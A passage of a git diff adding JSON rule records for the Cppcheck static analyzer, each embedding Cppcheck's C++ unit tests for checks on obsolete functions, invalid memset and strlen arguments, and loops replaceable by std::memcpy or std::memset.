check(\"template \\n\"\n \"struct S : public std::vector {\\n\"\n \" void resize(size_t n) { std::vector::resize(n); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct P {\\n\" // #13105\n \" bool g(int i) const;\\n\"\n \" std::shared_ptr> m;\\n\"\n \"};\\n\"\n \"bool P::g(int i) const {\\n\"\n \" auto it = m->find(i);\\n\"\n \" const bool b = it != m->end();\\n\"\n \" return b;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (debug) auto token with no type. [autoNoType]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary1() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary2() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary3() {\n check(\"void f(void* dst, const void* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; i++)\\n\"\n \" ((char*)dst)[i] = ((const char*)src)[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary4() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n // different indexes\n void checkUseStandardLibrary5() {\n check(\"void f(void* dst, void* src, const size_t size, const size_t from_idx) {\\n\"\n \" for (size_t i = 0; i < size; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[from_idx];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // unknown count\n void checkUseStandardLibrary6() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; ((int8_t*)src)[i] != 0; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment with 2\n void checkUseStandardLibrary7() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 2) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // right argument of assignment could be static_cast, functional cast, c-style and implicit cast\n // functional cast case not covered\n void checkUseStandardLibrary8() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < count; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = static_cast(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary9() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (static_cast(0));\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary10() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < size; i++)\\n\"\n \" ((char*)dst)[i] = (const char)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary11() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t)0);\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary12() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = 42;\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary13() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary14() {\n check(\"void f(void* dest) {\\n\"\n \" for (size_t i = 0; i < sizeof(int)*(15 + 42/2 - 7); i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestFunctions)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/memsetZeroBytes.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/memsetZeroBytes.json new file mode 100644 index 0000000..7128776 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/memsetZeroBytes.json @@ -0,0 +1,22 @@ +{ + "name": "memsetZeroBytes", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 24, + "branches": 6, + "apis": 20, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 1497 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkfunctions.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestFunctions : public TestFixture {\npublic:\n TestFunctions() : TestFixture(\"TestFunctions\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).severity(Severity::performance).severity(Severity::portability).\n certainty(Certainty::inconclusive).c(Standards::C11).cpp(Standards::CPP11).library(\"std.cfg\").library(\"posix.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n // Prohibited functions\n TEST_CASE(prohibitedFunctions_posix);\n TEST_CASE(prohibitedFunctions_index);\n TEST_CASE(prohibitedFunctions_qt_index); // FP when using the Qt function 'index'?\n TEST_CASE(prohibitedFunctions_rindex);\n TEST_CASE(prohibitedFunctions_var); // no false positives for variables\n TEST_CASE(prohibitedFunctions_gets); // dangerous function\n TEST_CASE(prohibitedFunctions_alloca);\n TEST_CASE(prohibitedFunctions_declaredFunction); // declared function ticket #3121\n TEST_CASE(prohibitedFunctions_std_gets); // test std::gets\n TEST_CASE(prohibitedFunctions_multiple); // multiple use of obsolete functions\n TEST_CASE(prohibitedFunctions_c_declaration); // c declared function\n TEST_CASE(prohibitedFunctions_functionWithBody); // function with body\n TEST_CASE(prohibitedFunctions_crypt); // Non-reentrant function\n TEST_CASE(prohibitedFunctions_namespaceHandling);\n\n // Invalid function usage\n TEST_CASE(invalidFunctionUsage1);\n TEST_CASE(invalidFunctionUsageStrings);\n\n // Invalid function argument\n TEST_CASE(invalidFunctionArg1);\n\n // Math function usage\n TEST_CASE(mathfunctionCall_fmod);\n TEST_CASE(mathfunctionCall_sqrt);\n TEST_CASE(mathfunctionCall_log);\n TEST_CASE(mathfunctionCall_acos);\n TEST_CASE(mathfunctionCall_asin);\n TEST_CASE(mathfunctionCall_pow);\n TEST_CASE(mathfunctionCall_atan2);\n TEST_CASE(mathfunctionCall_precision);\n\n // Ignored return value\n TEST_CASE(checkIgnoredReturnValue);\n TEST_CASE(checkIgnoredErrorCode);\n\n // memset..\n TEST_CASE(memsetZeroBytes);\n TEST_CASE(memsetInvalid2ndParam);\n\n // missing \"return\"\n TEST_CASE(checkMissingReturn1);\n TEST_CASE(checkMissingReturn2); // #11798\n TEST_CASE(checkMissingReturn3);\n TEST_CASE(checkMissingReturn4);\n TEST_CASE(checkMissingReturn5);\n TEST_CASE(checkMissingReturn6); // #13180\n\n // std::move for locar variable\n TEST_CASE(returnLocalStdMove1);\n TEST_CASE(returnLocalStdMove2);\n TEST_CASE(returnLocalStdMove3);\n TEST_CASE(returnLocalStdMove4);\n\n TEST_CASE(returnLocalStdMove5);\n\n TEST_CASE(negativeMemoryAllocationSizeError); // #389\n\n TEST_CASE(checkLibraryMatchFunctions);\n\n TEST_CASE(checkUseStandardLibrary1);\n TEST_CASE(checkUseStandardLibrary2);\n TEST_CASE(checkUseStandardLibrary3);\n TEST_CASE(checkUseStandardLibrary4);\n TEST_CASE(checkUseStandardLibrary5);\n TEST_CASE(checkUseStandardLibrary6);\n TEST_CASE(checkUseStandardLibrary7);\n TEST_CASE(checkUseStandardLibrary8);\n TEST_CASE(checkUseStandardLibrary9);\n TEST_CASE(checkUseStandardLibrary10);\n TEST_CASE(checkUseStandardLibrary11);\n TEST_CASE(checkUseStandardLibrary12);\n TEST_CASE(checkUseStandardLibrary13);\n TEST_CASE(checkUseStandardLibrary14);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n const Settings* s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings& s = options.s ? *options.s : settings;\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void prohibitedFunctions_posix() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" bsd_signal(SIGABRT, SIG_IGN);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'bsd_signal' called. It is recommended to use 'sigaction' instead. [bsd_signalCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int bsd_signal(0);\\n\"\n \" return bsd_signal;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct hostent *hp;\\n\"\n \" if(!hp = gethostbyname(\\\"127.0.0.1\\\")) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Obsolescent function 'gethostbyname' called. It is recommended to use 'getaddrinfo' instead. [gethostbynameCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" long addr;\\n\"\n \" addr = inet_addr(\\\"127.0.0.1\\\");\\n\"\n \" if(!hp = gethostbyaddr((char *) &addr, sizeof(addr), AF_INET)) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (style) Obsolescent function 'gethostbyaddr' called. It is recommended to use 'getnameinfo' instead. [gethostbyaddrCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_index() {\n check(\"namespace n1 {\\n\"\n \" int index(){ return 1; };\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" n1::index();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f()\\n\"\n \"{\\n\"\n \" std::size_t index(0);\\n\"\n \" index++;\\n\"\n \" return index;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" return this->index();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int index( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char f()\\n\"\n \"{\\n\"\n \" const char var[6] = \\\"index\\\";\\n\"\n \" const char i = index(var, 0);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\",\n errout_str());\n }\n\n void prohibitedFunctions_qt_index() {\n check(\"void TDataModel::forceRowRefresh(int row) {\\n\"\n \" emit dataChanged(index(row, 0), index(row, columnCount() - 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\"\n \"[test.cpp:2:37]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\", // duplicate\n errout_str());\n }\n\n void prohibitedFunctions_rindex() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int rindex( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char var[7] = \\\"rindex\\\";\\n\"\n \" print(rindex(var, 0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Obsolescent function 'rindex' called. It is recommended to use 'strrchr' instead. [rindexCalled]\\n\", errout_str());\n }\n\n\n void prohibitedFunctions_var() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" Fred() : index(0) { }\\n\"\n \" int index;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_gets() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = gets(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" foo(x, gets(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_alloca() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\"); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:15]: (warning) Obsolete function 'alloca' called. In C99 and later it is recommended to use a variable length array instead. [allocaCalled]\\n\", errout_str());\n\n const Settings s = settingsBuilder(settings).c(Standards::C89).cpp(Standards::CPP03).build();\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &s)); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s)); // #7558 - no alternative to alloca in C89\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // ticket #3121\n void prohibitedFunctions_declaredFunction() {\n check(\"int ftime ( int a )\\n\"\n \"{\\n\"\n \" return a;\\n\"\n \"}\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" int b ; b = ftime ( 1 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // test std::gets\n void prohibitedFunctions_std_gets() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" char *y = gets(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n // multiple use\n void prohibitedFunctions_multiple() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_c_declaration() {\n check(\"char * gets ( char * c ) ;\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"int getcontext(ucontext_t *ucp);\\n\"\n \"void f (ucontext_t *ucp)\\n\"\n \"{\\n\"\n \" getcontext ( ucp ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) Obsolescent function 'getcontext' called. Applications are recommended to be rewritten to use POSIX threads. [getcontextCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_functionWithBody() {\n check(\"char * gets ( char * c ) { return c; }\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_crypt() {\n check(\"void f(char *pwd)\\n\"\n \"{\\n\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:20]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *pwd = getpass(\\\"Password:\\\");\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:57]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:57]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int crypt = 0;\"\n \" return crypt;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_namespaceHandling() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" auto lt = std::localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:37]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Passed as function argument\n check(\"void f()\\n\"\n \"{\\n\"\n \" printf(\\\"Magic guess: %d\\\", getpwent());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:31]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Pass return value\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" struct tm *foo = localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Access via global namespace\n check(\"void f()\\n\"\n \"{\\n\"\n \" ::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Return value of function ::getpwent() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:7]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Be quiet on function definitions\n check(\"int getpwent()\\n\"\n \"{\\n\"\n \" return 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on other namespaces\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on class member functions\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar.getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidFunctionUsage1() {\n check(\"void f() { memset(a,b,sizeof(a)!=12); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,sizeof(a)!=0); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,!c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6990\n check(\"void f(bool c) { memset(a,b,c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:29]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n check(\"void f() { memset(a,b,true); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c++ mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"int boolArgZeroIsInvalidButOneIsValid(int a, int param) {\\n\"\n \" return div(a, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (error) Invalid div() argument nr 2. The value is 0 or 1 (boolean) but the valid values are ':-1,1:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void boolArgZeroIsValidButOneIsInvalid(int param) {\\n\"\n \" strtol(a, b, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Invalid strtol() argument nr 3. The value is 0 or 1 (boolean) but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,1); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid strtol() argument nr 3. The value is 1 but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,10); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10754\n \" int N = -1;\\n\"\n \" for (long i = 0; i < g(); i++)\\n\"\n \" N = h(N);\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N < -1)\\n\"\n \" return;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:14]: (warning) Either the condition 'N<-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N == -1) {}\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'N==-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N, bool b) {\\n\"\n \" if (b)\\n\"\n \" N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n }\n\n void invalidFunctionUsageStrings() {\n check(\"size_t f() { char x = 'x'; return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x) { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char x;\\n\"\n \" if (y)\\n\"\n \" x = '\\\\0';\\n\"\n \" else\\n\"\n \" x = 'a';\\n\"\n \" return strlen(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() { char x = '\\\\0'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { char x = 'x'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; return strlen(y); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = 'x'; char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n 